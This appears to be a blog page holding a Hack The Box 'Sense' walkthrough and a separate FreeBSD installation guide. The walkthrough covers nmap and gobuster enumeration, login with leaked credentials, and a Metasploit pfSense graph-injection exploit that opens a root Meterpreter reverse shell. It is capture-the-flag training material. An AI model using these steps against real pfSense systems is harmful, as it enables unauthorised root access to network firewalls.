HTB: Sense

 ___  ___  _________  ________                         
|\  \|\  \|\___   ___\\   __  \  ___                   
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\                  
 \ \   __  \   \ \  \ \ \   __  \|__|                  
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___                
   \ \__\ \__\   \ \__\ \ \_______\|\__\               
    \|__|\|__|    \|__|  \|_______|\|__|               
 ________  _______   ________   ________  _______      
|\   ____\|\  ___ \ |\   ___  \|\   ____\|\  ___ \     
\ \  \___|\ \   __/|\ \  \\ \  \ \  \___|\ \   __/|    
 \ \_____  \ \  \_|/_\ \  \\ \  \ \_____  \ \  \_|/__  
  \|____|\  \ \  \_|\ \ \  \\ \  \|____|\  \ \  \_|\ \ 
    ____\_\  \ \_______\ \__\\ \__\____\_\  \ \_______\
   |\_________\|_______|\|__| \|__|\_________\|_______|
   \|_________|                   \|_________|         
                                                            

Hack The Box's Sense is an Easy OpenBSD machine that features pfSense, an open-source firewall software. This machine uses basic directory brute-forcing using Gobuster to search for a user credential text file to gain access to the firewall, followed by an injection attack to gain root access to the machine.

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine.

ping 10.10.10.60

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to move to enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -sV switch to enable version detection. You can learn more about Nmap here.

nmap -sV 10.10.10.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 11:17 CDT
Nmap scan report for 10.10.10.60
Host is up (0.0091s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
443/tcp open  ssl/https?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds

We can see a web server running. Let's navigate to the site by entering the target's ip address in our web browser. Upon inspection we can see a login page for pfSense, an open-source firewall software based in FreeBSD. We can complete a quick Google search for the default credentials for pfSense and find the default username is "admin" and the password is "pfsense". When trying these default credentials, we are notified they are not correct. Let's move on to using Gobuster to brute-force directories on the server. We'll search for .php and .txt files using the directory-list-2.3-medium.txt wordlist.

gobuster dir -u https://10.10.10.60/ -t 50 -x php,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.60/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 6690]
/help.php             (Status: 200) [Size: 6689]
/themes               (Status: 301) [Size: 0] [--> https://10.10.10.60/themes/]
/stats.php            (Status: 200) [Size: 6690]
/css                  (Status: 301) [Size: 0] [--> https://10.10.10.60/css/]
/edit.php             (Status: 200) [Size: 6689]
/includes             (Status: 301) [Size: 0] [--> https://10.10.10.60/includes/]
/license.php          (Status: 200) [Size: 6692]
/system.php           (Status: 200) [Size: 6691]
/status.php           (Status: 200) [Size: 6691]
/javascript           (Status: 301) [Size: 0] [--> https://10.10.10.60/javascript/]
/changelog.txt        (Status: 200) [Size: 271]
/classes              (Status: 301) [Size: 0] [--> https://10.10.10.60/classes/]
/exec.php             (Status: 200) [Size: 6689]
/widgets              (Status: 301) [Size: 0] [--> https://10.10.10.60/widgets/]
/graph.php            (Status: 200) [Size: 6690]
/tree                 (Status: 301) [Size: 0] [--> https://10.10.10.60/tree/]
/wizard.php           (Status: 200) [Size: 6691]
/shortcuts            (Status: 301) [Size: 0] [--> https://10.10.10.60/shortcuts/]
/pkg.php              (Status: 200) [Size: 6688]
/installer            (Status: 301) [Size: 0] [--> https://10.10.10.60/installer/]
/wizards              (Status: 301) [Size: 0] [--> https://10.10.10.60/wizards/]
/xmlrpc.php           (Status: 200) [Size: 384]
/reboot.php           (Status: 200) [Size: 6691]
/interfaces.php       (Status: 200) [Size: 6695]
/csrf                 (Status: 301) [Size: 0] [--> https://10.10.10.60/csrf/]
/system-users.txt     (Status: 200) [Size: 106]
/filebrowser          (Status: 301) [Size: 0] [--> https://10.10.10.60/filebrowser/]

After some time, we will notice a /systems-users.txt, highlighted above in orange. This file is interesting because there could be user login information within the text file. We can view this file by navigating to the path on the web server by using our web browser. On my spawned HTB machine it would be https://10.10.10.60/system-users.txt. We get the following page with a support ticket containing credentials:

####Support ticket###

Please create the following user


username: Rohit
password: company defaults

We see the username listed as "Rohit" and the password as "company defaults". After testing these credentials on the pfSense login page, we see we are not granted access. But let's try the default pfSense password, "pfsense". Upon using these credentials we see we are granted access!

Let's fire-up Metasploit and search for potential exploits for pfSense:

msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.3.44-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> search pfsense

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/unix/http/pfsense_clickjacking          2017-11-21       normal     No     Clickjacking Vulnerability In CSRF Error Page pfSense
   1  exploit/unix/http/pfsense_diag_routes_webshell  2022-02-23       excellent  Yes    pfSense Diag Routes Web Shell Upload
   2  exploit/unix/http/pfsense_config_data_exec      2023-03-18       excellent  Yes    pfSense Restore RRD Data Command Injection
   3  exploit/unix/http/pfsense_graph_injection_exec  2016-04-18       excellent  No     pfSense authenticated graph status RCE
   4  exploit/unix/http/pfsense_group_member_exec     2017-11-06       excellent  Yes    pfSense authenticated group member RCE
   5  exploit/unix/http/pfsense_pfblockerng_webshell  2022-09-05       great      Yes    pfSense plugin pfBlockerNG unauthenticated RCE as root


Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/http/pfsense_pfblockerng_webshell

[msf](Jobs:0 Agents:0) >> 

We see option #3 shows a module for an injection attack granting authentication. You can read more about this specific exploit on Rapid7's website here. Let's select this attack and fill out the required exploit options:

use 3
[*] Using configured payload php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> options

Module options (exploit/unix/http/pfsense_graph_injection_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  pfsense          yes       Password to login with
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                        /basics/using-metasploit.html
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME  admin            yes       User to login with
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set RHOSTS 10.10.10.60
RHOSTS => 10.10.10.60
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set USERNAME rohit
USERNAME => rohit
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set LHOST tun0
LHOST => 10.10.14.6
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> 

We set the RHOSTS to the target ip address, the USERNAME to "rohit", and the LHOST to our desired listening ip address for the reverse TCP connection. We can now run this exploit using "exploit":

exploit

[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (39927 bytes) to 10.10.10.60
[+] Deleted uz
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.60:53021) at 2024-10-02 12:06:53 -0500

(Meterpreter 1)(/var/db/rrd) > getuid
Server username: root
(Meterpreter 1)(/var/db/rrd) > 

Once the reverse TCP connection is successful, we can use the "getuid" command to see we now have root access to the machine! You can now navigate through the target system to obtain the root and user .txt flags.

FreeBSD: How to Install FreeBSD

               ,        ,
              /(        )`
              \ \___   / |
              /- _  `-/  '
             (/\/ \ \   /\
             / /   | `    \
             O O   ) /    |
             `-^--'`<     '
            (_.)  _  )   /
             `.___/`    /
               `-----' /
  <----.     __ / __   \
  <----|====O)))==) \) /====
  <----'    `--' `.__,' \
               |        |
                \       /
           ______( (_  / \______
         ,'  ,-----'   |        \
         `--{__________)        \/ 

FreeBSD is a free and open-source operating system known for mostly being utilized for servers. Prominent sites that run on FreeBSD include Netflix, Yandex, Hacker News, Yahoo! and more. FreeBSD can also be used as a Unix-like desktop OS when paired with a desktop environment like Xfce or a window manager like Suckless's DWM. This guide will walk you through the basic install of FreeBSD using mostly default configurations and some light explanations of the other configuration options available. If you would like a deeper understanding of FreeBSD, check out the great collection of documentation on FreeBSD's website. Note: You can click on any of the screenshots within this guide to enlarge them.

Start off by downloading the FreeBSD ISO file from FreeBSD's website under "Installer Images". This ISO file can be flashed to a USB flash drive using an application like balenaEtcher or used in a virtual machine like Virtual Box or VMWare. Remember to select the proper ISO file for your system. If you have a 64 bit processor download the amd64 ISO. 32 bit, use the i386 file.

Once you boot up the ISO file using your virtual machine of choice, or you decided to go the bare metal route and have booted from your USB flash drive containing the ISO image, you will get the following screen:

Press Enter, or you can wait for the autoboot feature to start the installer. You will land on the installer "Welcome" page.

Press Enter. During the install you may select different options using the arrow keys. In this install tutorial, we will be mostly sticking with the suggested settings for a smoother experience. After pressing Enter, you will receive the "Keymap Selection" screen.

Select your desired keymap settings using the arrow keys and press Enter when you wish to proceed to the next step in the installer. Your keymap setting should be the closest option to your keyboard connected to the system.

We will be instructed to enter a hostname. The hostname can be whatever you desire for your system. I usually go with the name of the OS or distro. Once you have your hostname selected, press Enter to continue.

The "Distribution Select" screen will list different components we can install to our system. The preselected options should suffice. Press Enter to move on to partitioning.

Use your arrow keys to select the "Auto (UFS)" option. This option will set up the disk partitions using the UFS file system. You also have the option to set up custom partitions for dual-booting using the "Manual" option, as well as using the "Shell" option to partition using the command line. Press Enter.

The next screen that displays is the "Partition Scheme" option. If you are using a modern day system with hard drives exceeding 1TB, I suggest selecting GPT (GUID Partition Table). For anything below, MBR (DOS Partitions) will work fine. Press Enter to move on.

After selecting your partition scheme. you will be faced with the "Partition Editor". You can make edits to your partitions here if you wish. We will stick with the set options and press Enter. The installer will ask you to commit to the partitioning. Press Enter again to continue.

The installer will now display the install progress while fetching, unpacking, and extracting files needed for the distribution. This may take a little while, but since FreeBSD is fairly lightweight, it should take no more than 10 minutes even on slower, older hardware. Once the install is finished you will be instructed to set a password for the root user.

Enter a strong password for your root user and press Enter. Re-enter the password and press Enter again to move on to setting up your network configuration.

The "Network Configuration" screen is pretty straightforward. Select your network interface and press Enter. A few other network configuration settings will display regarding IPV4, DHCP, IPV6, and SLAAC. You can continue to press Enter with the default options for these until you arrive at the "Time Zone Selector" screen.

Select your region from the list using the arrow keys and press Enter. You will then be prompted to select a country and then a time zone. Once this is completed you will be given the option to select a date and set the time manually. This information should be automatically synced to the time zone you selected on the previous screens.

Following the time zone options, you will have the option to configure system services that will be started at boot. I suggest only selecting services you will actually use. The"sshd" and "dumpdev" services are preselected and are all we should need to get our system running. Press Enter.

The "System Hardening" screen displays security options for hardening your system. To get a better description of these options and to see if any of these might be of use to you, I suggest reading section 2.8.4. Enabling Hardening Security Options in the FreeBSD Install Guide. Press Enter once you have selected the options you want enabled to continue on to adding a user to the system.

We will be prompted to enter a username for our user along with other settings. Most of these settings can be left as default by pressing Enter and continuing through the process. I do suggest creating a custom login group set as "wheel" to be used for su permissions later. Once you set your user password and press Enter, confirm your user information by typing "yes" and pressing Enter. You can then add more users or continue to the "Final Configuration" screen.

The "Final Configuration" screen allows you to modify any configurations created during the install.  If you are satisfied with your settings press Enter. You will be asked if you want to make any manual modifications to the system using the shell. Select "No" by pressing Enter. 

A screen will then appear saying the installation is complete and give you the option to reboot. Select the "Reboot" option by pressing Enter. Remember to remove the ISO image file from your virtual machine program or remove the USB containing the ISO image from your computer to prevent your system from booting into the installer. Once your computer reboots into the installed system you should be able to login using any of the user or root account credentials created during the install.